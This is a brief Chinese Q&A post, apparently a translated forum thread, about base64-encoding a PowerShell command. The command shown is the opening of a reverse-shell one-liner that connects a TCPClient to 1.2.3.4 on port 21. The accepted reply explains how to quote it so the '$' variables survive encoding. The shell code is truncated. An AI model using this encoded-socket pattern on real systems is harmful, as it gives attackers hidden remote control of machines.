当我尝试在powershell中转换以下代码时:
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("**$sm=**(New-Object Net.Sockets.TCPClient('1.2.3.4',21)).GetStream();[byte[]]$b
..等..etc ..etc
结果base64编码的字符串执行失败。
我得到"**+** =(New-Object Net.Sockets.TCPClient"
没有$ sm。
结果是“+”而不是$ sm ??
如何对其进行编码以便将$包含在我的代码中以正确运行它?
答案 0 :(得分:0)
Mathias R. Jessen,你是对的! 我已将单个引号更改为代码内部的两倍,并使用单引号将其包含在内。 谢谢!!